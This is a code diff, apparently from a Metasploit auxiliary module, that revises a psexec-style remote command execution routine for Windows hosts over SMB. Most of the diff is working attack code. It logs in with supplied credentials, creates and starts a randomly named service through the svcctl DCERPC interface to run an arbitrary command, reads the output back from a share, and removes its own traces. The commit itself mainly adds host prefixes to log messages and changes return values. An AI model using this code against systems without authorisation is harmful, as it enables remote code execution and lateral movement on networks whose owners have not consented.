@@ -50,6 +50,10 @@ def initialize(info = {})
50
50
deregister_options ( 'RHOST' )
51
51
end
52
52
53
+ def peer
54
+ return "#{ rhost } :#{ rport } "
55
+ end
56
+
53
57
# This is the main controle method
54
58
def run_host ( ip )
55
59
text = "\\ WINDOWS\\ Temp\\ #{ Rex ::Text . rand_text_alpha ( 16 ) } .txt"
@@ -61,11 +65,11 @@ def run_host(ip)
61
65
begin
62
66
smb_login
63
67
rescue StandardError => autherror
64
- print_error ( "Unable to authenticate with given credentials: #{ autherror } " )
68
+ print_error ( "#{ peer } - Unable to authenticate with given credentials: #{ autherror } " )
65
69
return
66
70
end
67
71
if execute_command ( ip , text , bat )
68
- o = get_output ( smbshare , ip , text )
72
+ get_output ( smbshare , ip , text )
69
73
end
70
74
cleanup_after ( smbshare , ip , text , bat )
71
75
disconnect
@@ -77,32 +81,32 @@ def execute_command(ip, text, bat)
77
81
begin
78
82
#Try and execute the provided command
79
83
execute = "%COMSPEC% /C echo #{ datastore [ 'COMMAND' ] } ^> %SYSTEMDRIVE%#{ text } > #{ bat } & %COMSPEC% /C start cmd.exe /C #{ bat } "
80
- print_status ( "Executing your command on host: #{ ip } " )
81
- psexec ( execute )
82
- return true
84
+ print_status ( "#{ peer } - Executing the command..." )
85
+ return psexec ( execute )
83
86
rescue StandardError => exec_command_cerror
84
- print_error ( "#{ ip } - Unable to execute specified command: #{ exec_command_error } " )
85
- return false
87
+ print_error ( "#{ peer } - Unable to execute specified command: #{ exec_command_error } " )
88
+ return false
86
89
end
87
90
end
88
91
89
92
# Retrive output from command
90
93
def get_output ( smbshare , ip , file )
91
94
begin
95
+ print_status ( "#{ peer } - Getting the command output..." )
92
96
simple . connect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
93
97
outfile = simple . open ( file , 'ro' )
94
98
output = outfile . read
95
99
outfile . close
96
100
simple . disconnect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
97
101
if output . empty?
98
- print_status ( "Command finished with no output" )
102
+ print_status ( "#{ peer } - Command finished with no output" )
99
103
return
100
104
end
101
- print_good ( "Command completed successfuly! Output from: #{ ip } \r \n #{ output } " )
102
- return output
105
+ print_good ( "#{ peer } - Command completed successfuly! Output: \r \n #{ output } " )
106
+ return
103
107
rescue StandardError => output_error
104
- print_error ( "#{ ip } - Error getting command output. #{ output_error . class } . #{ output_error } ." )
105
- return nil
108
+ print_error ( "#{ peer } - Error getting command output. #{ output_error . class } . #{ output_error } ." )
109
+ return
106
110
end
107
111
end
108
112
@@ -111,15 +115,16 @@ def cleanup_after(smbshare, ip, text, bat)
111
115
begin
112
116
# Try and do cleanup command
113
117
cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{ text } & del #{ bat } "
114
- print_status ( "Executing cleanup on host: #{ ip } " )
118
+ print_status ( "#{ peer } - Executing cleanup... " )
115
119
psexec ( cleanup )
116
120
if !check_cleanup ( smbshare , ip , text )
117
- print_error ( "#{ ip } - Unable to cleanup. Need to manually remove #{ text } and #{ bat } from the target." )
121
+ print_error ( "#{ peer } - Unable to cleanup. Maybe you'll need to manually remove #{ text } and #{ bat } from the target." )
118
122
else
119
- print_status ( "#{ ip } - Cleanup was successful" )
123
+ print_status ( "#{ peer } - Cleanup was successful" )
120
124
end
121
125
rescue StandardError => cleanuperror
122
- print_error ( "Unable to processes cleanup commands: #{ cleanuperror } " )
126
+ print_error ( "#{ peer } - Unable to processes cleanup commands. Error: #{ cleanuperror } " )
127
+ print_error ( "#{ peer } - Maybe you'll need to manually remove #{ text } and #{ bat } from the target" )
123
128
return cleanuperror
124
129
end
125
130
end
@@ -147,11 +152,11 @@ def psexec(command)
147
152
simple . connect ( "IPC$" )
148
153
149
154
handle = dcerpc_handle ( '367abb81-9844-35f1-ad32-98f038001003' , '2.0' , 'ncacn_np' , [ "\\ svcctl" ] )
150
- vprint_status ( "Binding to #{ handle } ..." )
155
+ vprint_status ( "#{ peer } - Binding to #{ handle } ..." )
151
156
dcerpc_bind ( handle )
152
- vprint_status ( "Bound to #{ handle } ..." )
157
+ vprint_status ( "#{ peer } - Bound to #{ handle } ..." )
153
158
154
- vprint_status ( "Obtaining a service manager handle..." )
159
+ vprint_status ( "#{ peer } - Obtaining a service manager handle..." )
155
160
scm_handle = nil
156
161
stubdata =
157
162
NDR . uwstring ( "\\ \\ #{ rhost } " ) +
@@ -163,8 +168,8 @@ def psexec(command)
163
168
scm_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
164
169
end
165
170
rescue ::Exception => e
166
- print_error ( "Error: #{ e } " )
167
- return
171
+ print_error ( "#{ peer } - Error: #{ e } " )
172
+ return false
168
173
end
169
174
170
175
servicename = Rex ::Text . rand_text_alpha ( 11 )
@@ -191,24 +196,24 @@ def psexec(command)
191
196
NDR . long ( 0 ) + # Password
192
197
NDR . long ( 0 ) # Password
193
198
begin
194
- vprint_status ( "Creating the service..." )
199
+ vprint_status ( "#{ peer } - Creating the service..." )
195
200
response = dcerpc . call ( 0x0c , stubdata )
196
201
if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
197
202
svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
198
203
svc_status = dcerpc . last_response . stub_data [ 24 , 4 ]
199
204
end
200
205
rescue ::Exception => e
201
- print_error ( "Error: #{ e } " )
202
- return
206
+ print_error ( "#{ peer } - Error: #{ e } " )
207
+ return false
203
208
end
204
209
205
- vprint_status ( "Closing service handle..." )
210
+ vprint_status ( "#{ peer } - Closing service handle..." )
206
211
begin
207
212
response = dcerpc . call ( 0x0 , svc_handle )
208
213
rescue ::Exception
209
214
end
210
215
211
- vprint_status ( "Opening service..." )
216
+ vprint_status ( "#{ peer } - Opening service..." )
212
217
begin
213
218
stubdata =
214
219
scm_handle +
@@ -220,11 +225,11 @@ def psexec(command)
220
225
svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
221
226
end
222
227
rescue ::Exception => e
223
- print_error ( "Error: #{ e } " )
224
- return
228
+ print_error ( "#{ peer } - Error: #{ e } " )
229
+ return false
225
230
end
226
231
227
- vprint_status ( "Starting the service..." )
232
+ vprint_status ( "#{ peer } - Starting the service..." )
228
233
stubdata =
229
234
svc_handle +
230
235
NDR . long ( 0 ) +
@@ -234,30 +239,31 @@ def psexec(command)
234
239
if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
235
240
end
236
241
rescue ::Exception => e
237
- print_error ( "Error: #{ e } " )
238
- return
242
+ print_error ( "#{ peer } - Error: #{ e } " )
243
+ return false
239
244
end
240
245
241
- vprint_status ( "Removing the service..." )
246
+ vprint_status ( "#{ peer } - Removing the service..." )
242
247
stubdata =
243
248
svc_handle
244
249
begin
245
250
response = dcerpc . call ( 0x02 , stubdata )
246
251
if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
247
252
end
248
253
rescue ::Exception => e
249
- print_error ( "Error: #{ e } " )
254
+ print_error ( "#{ peer } - Error: #{ e } " )
250
255
end
251
256
252
- vprint_status ( "Closing service handle..." )
257
+ vprint_status ( "#{ peer } - Closing service handle..." )
253
258
begin
254
259
response = dcerpc . call ( 0x0 , svc_handle )
255
260
rescue ::Exception => e
256
- print_error ( "Error: #{ e } " )
261
+ print_error ( "#{ peer } - Error: #{ e } " )
257
262
end
258
263
259
264
select ( nil , nil , nil , 1.0 )
260
265
simple . disconnect ( "IPC$" )
266
+ return true
261
267
end
262
268
263
269
end
0 commit comments